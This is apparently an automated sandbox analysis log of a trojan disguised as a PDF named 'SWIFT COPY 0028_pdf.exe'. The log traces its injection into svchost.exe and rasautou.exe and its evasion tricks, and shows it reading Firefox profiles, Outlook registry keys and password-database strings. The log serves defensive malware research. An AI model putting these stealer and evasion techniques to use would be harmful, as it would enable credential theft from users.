Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C03FD2	2_2_03C03FD2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C03FD5	2_2_03C03FD5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C41F92	2_2_03C41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFFB1	2_2_03CFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFF09	2_2_03CFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C49EB0	2_2_03C49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C5FDC0	2_2_03C5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03C43D40	2_2_03C43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF1D5A	2_2_03CF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CF7D73	2_2_03CF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CFFCF2	2_2_03CFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 2_2_03CB9C32	2_2_03CB9C32
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DE0EDB	3_2_02DE0EDB
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DE0ED7	3_2_02DE0ED7
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DD878B	3_2_02DD878B
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DDA70B	3_2_02DDA70B
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DE2CDB	3_2_02DE2CDB
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DDA4EB	3_2_02DDA4EB
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Code function: 3_2_02DF946B	3_2_02DF946B
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EBE4F6	4_2_04EBE4F6
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC2446	4_2_04EC2446
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EB4420	4_2_04EB4420
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ED0591	4_2_04ED0591
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E10535	4_2_04E10535
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E2C6E0	4_2_04E2C6E0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E0C7C0	4_2_04E0C7C0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E10770	4_2_04E10770
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E34750	4_2_04E34750
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EA2000	4_2_04EA2000
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC81CC	4_2_04EC81CC
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ED01AA	4_2_04ED01AA
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC41A2	4_2_04EC41A2
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E98158	4_2_04E98158
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E00100	4_2_04E00100
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EAA118	4_2_04EAA118
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E902C0	4_2_04E902C0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EB0274	4_2_04EB0274
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ED03E6	4_2_04ED03E6
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E1E3F0	4_2_04E1E3F0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECA352	4_2_04ECA352
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E00CF2	4_2_04E00CF2
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EB0CB5	4_2_04EB0CB5
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E10C00	4_2_04E10C00
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E0ADE0	4_2_04E0ADE0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E28DBF	4_2_04E28DBF
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E1AD00	4_2_04E1AD00
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EACD1F	4_2_04EACD1F
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECEEDB	4_2_04ECEEDB
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E22E90	4_2_04E22E90
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECCE93	4_2_04ECCE93
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E10E59	4_2_04E10E59
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECEE26	4_2_04ECEE26
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E1CFE0	4_2_04E1CFE0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E02FC8	4_2_04E02FC8
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E8EFA0	4_2_04E8EFA0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E84F40	4_2_04E84F40
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E52F28	4_2_04E52F28
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E30F30	4_2_04E30F30
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EB2F30	4_2_04EB2F30
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E3E8F0	4_2_04E3E8F0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04DF68B8	4_2_04DF68B8
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E1A840	4_2_04E1A840
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E12840	4_2_04E12840
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E129A0	4_2_04E129A0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EDA9A6	4_2_04EDA9A6
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E26962	4_2_04E26962
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E0EA80	4_2_04E0EA80
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC6BD7	4_2_04EC6BD7
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECAB40	4_2_04ECAB40
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E01460	4_2_04E01460
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECF43F	4_2_04ECF43F
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ED95C3	4_2_04ED95C3
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EAD5B0	4_2_04EAD5B0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC7571	4_2_04EC7571
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC16CC	4_2_04EC16CC
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E55630	4_2_04E55630
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECF7B0	4_2_04ECF7B0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC70E9	4_2_04EC70E9
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECF0E0	4_2_04ECF0E0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E170C0	4_2_04E170C0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EBF0CC	4_2_04EBF0CC
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E1B1B0	4_2_04E1B1B0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EDB16B	4_2_04EDB16B
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E4516C	4_2_04E4516C
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04DFF172	4_2_04DFF172
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EB12ED	4_2_04EB12ED
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E2B2C0	4_2_04E2B2C0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E152A0	4_2_04E152A0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E5739A	4_2_04E5739A
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04DFD34C	4_2_04DFD34C
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC132D	4_2_04EC132D
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECFCF2	4_2_04ECFCF2
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E89C32	4_2_04E89C32
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E2FDC0	4_2_04E2FDC0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC7D73	4_2_04EC7D73
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E13D40	4_2_04E13D40
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC1D5A	4_2_04EC1D5A
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E19EB0	4_2_04E19EB0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECFFB1	4_2_04ECFFB1
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E11F92	4_2_04E11F92
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECFF09	4_2_04ECFF09
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E138E0	4_2_04E138E0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E7D800	4_2_04E7D800
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E19950	4_2_04E19950
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E2B950	4_2_04E2B950
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EA5910	4_2_04EA5910
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EBDAC6	4_2_04EBDAC6
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E55AA0	4_2_04E55AA0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EADAAC	4_2_04EADAAC
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EB1AA3	4_2_04EB1AA3
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E83A6C	4_2_04E83A6C
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECFA49	4_2_04ECFA49
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04EC7A46	4_2_04EC7A46
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E85BF0	4_2_04E85BF0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E4DBF9	4_2_04E4DBF9
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04E2FB80	4_2_04E2FB80
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04ECFB76	4_2_04ECFB76
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E622F0	4_2_02E622F0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E7C140	4_2_02E7C140
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E5D3E0	4_2_02E5D3E0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E5D1C0	4_2_02E5D1C0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E5B460	4_2_02E5B460
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E63BAC	4_2_02E63BAC
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E63BB0	4_2_02E63BB0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_02E659B0	4_2_02E659B0
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04CCE428	4_2_04CCE428
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04CCE543	4_2_04CCE543
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04CCE8DC	4_2_04CCE8DC
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: 4_2_04CCD9A8	4_2_04CCD9A8

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: String function: 0093EC2F appears 68 times
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: String function: 00946AC0 appears 42 times
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: String function: 0094F8A0 appears 35 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C75130 appears 58 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C2B970 appears 280 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C87E54 appears 111 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CAEA12 appears 86 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CBF290 appears 105 times
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: String function: 04E57E54 appears 111 times
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: String function: 04DFB970 appears 280 times
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: String function: 04E8F290 appears 105 times
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: String function: 04E7EA12 appears 86 times
Source: C:\Windows\SysWOW64\rasautou.exe	Code function: String function: 04E45130 appears 58 times

Source: SWIFT COPY 0028_pdf.exe, 00000000.00000003.2157110144.0000000003A6D000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SWIFT COPY 0028_pdf.exe
Source: SWIFT COPY 0028_pdf.exe, 00000000.00000003.2156512538.00000000038C3000.00000004.00001000.00020000.00000000.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs SWIFT COPY 0028_pdf.exe

Source: SWIFT COPY 0028_pdf.exe

Static PE information: EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/3@17/13

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0096CE7A GetLastError,FormatMessageW,

0_2_0096CE7A

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0095AB84 AdjustTokenPrivileges,CloseHandle,		0_2_0095AB84
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Code function: 0_2_0095B134 LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,		0_2_0095B134

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0096E1FD SetErrorMode,GetDiskFreeSpaceExW,SetErrorMode,

0_2_0096E1FD

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_00966532 CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,__wsplitpath,_wcscat,CloseHandle,

0_2_00966532

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0097C18C CoInitializeSecurity,_memset,_memset,CoCreateInstanceEx,CoTaskMemFree,CoSetProxyBlanket,

0_2_0097C18C

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Code function: 0_2_0092406B CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,

0_2_0092406B

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

File created: C:\Users\user\AppData\Local\Temp\aut7C9.tmp

Source: SWIFT COPY 0028_pdf.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Program Files\Mozilla Firefox\firefox.exe

File read: C:\Users\user\AppData\Roaming\Mozilla\Firefox\profiles.ini

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: rasautou.exe, 00000004.00000002.4606460151.00000000031F7000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4606460151.0000000003223000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2510998129.00000000031F7000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2513407452.0000000003200000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: SWIFT COPY 0028_pdf.exe

ReversingLabs: Detection: 39%

Source: unknown	Process created: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe "C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe"
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe"
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Process created: C:\Windows\SysWOW64\rasautou.exe "C:\Windows\SysWOW64\rasautou.exe"
Source: C:\Windows\SysWOW64\rasautou.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe"	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Process created: C:\Windows\SysWOW64\rasautou.exe "C:\Windows\SysWOW64\rasautou.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\SWIFT COPY 0028_pdf.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: rasdlg.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: mprapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: ieframe.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: mlang.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: winsqlite3.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\rasautou.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Program Files (x86)\lzWEoypSEiiPeyaPqfIfLwioPRhNNBAASkgqzKoDrdXbbpHTVceWIdlvNEZgU\nBMWUKLuWlMJko.exe	Section loaded: rasadhlp.dll	Jump to behavior

Source: C:\Windows\SysWOW64\rasautou.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{3C374A40-BAE4-11CF-BF7D-00AA006946EE}\InProcServer32

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\SysWOW64\rasautou.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Office\15.0\Outlook\Profiles\Outlook\

Switches to a custom stack to bypass stack traces

Source: SWIFT COPY 0028_pdf.exe

Static file information: File size 1217536 > 1048576

Source: SWIFT COPY 0028_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IMPORT
Source: SWIFT COPY 0028_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESOURCE
Source: SWIFT COPY 0028_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_BASERELOC
Source: SWIFT COPY 0028_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG
Source: SWIFT COPY 0028_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: SWIFT COPY 0028_pdf.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: SWIFT COPY 0028_pdf.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: R:\JoeSecurity\trunk\src\windows\usermode\tools\FakeChrome\Release\Chrome.pdb source: nBMWUKLuWlMJko.exe, 00000003.00000002.4611840716.00000000006CE000.00000002.00000001.01000000.00000004.sdmp, nBMWUKLuWlMJko.exe, 00000006.00000002.4602403236.00000000006CE000.00000002.00000001.01000000.00000004.sdmp
Source:	Binary string: wntdll.pdbUGP source: SWIFT COPY 0028_pdf.exe, 00000000.00000003.2154550142.00000000037A0000.00000004.00001000.00020000.00000000.sdmp, SWIFT COPY 0028_pdf.exe, 00000000.00000003.2153324320.0000000003940000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2315069087.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2221830371.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2315069087.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2219817771.0000000003800000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4613707846.0000000004F6E000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2322691574.0000000004A7F000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4613707846.0000000004DD0000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2326045959.0000000004C23000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: SWIFT COPY 0028_pdf.exe, 00000000.00000003.2154550142.00000000037A0000.00000004.00001000.00020000.00000000.sdmp, SWIFT COPY 0028_pdf.exe, 00000000.00000003.2153324320.0000000003940000.00000004.00001000.00020000.00000000.sdmp, svchost.exe, svchost.exe, 00000002.00000002.2315069087.0000000003C00000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2221830371.0000000003A00000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000002.00000002.2315069087.0000000003D9E000.00000040.00001000.00020000.00000000.sdmp, svchost.exe, 00000002.00000003.2219817771.0000000003800000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, rasautou.exe, 00000004.00000002.4613707846.0000000004F6E000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2322691574.0000000004A7F000.00000004.00000020.00020000.00000000.sdmp, rasautou.exe, 00000004.00000002.4613707846.0000000004DD0000.00000040.00001000.00020000.00000000.sdmp, rasautou.exe, 00000004.00000003.2326045959.0000000004C23000.00000004.00000020.00020000.00000000.sdmp
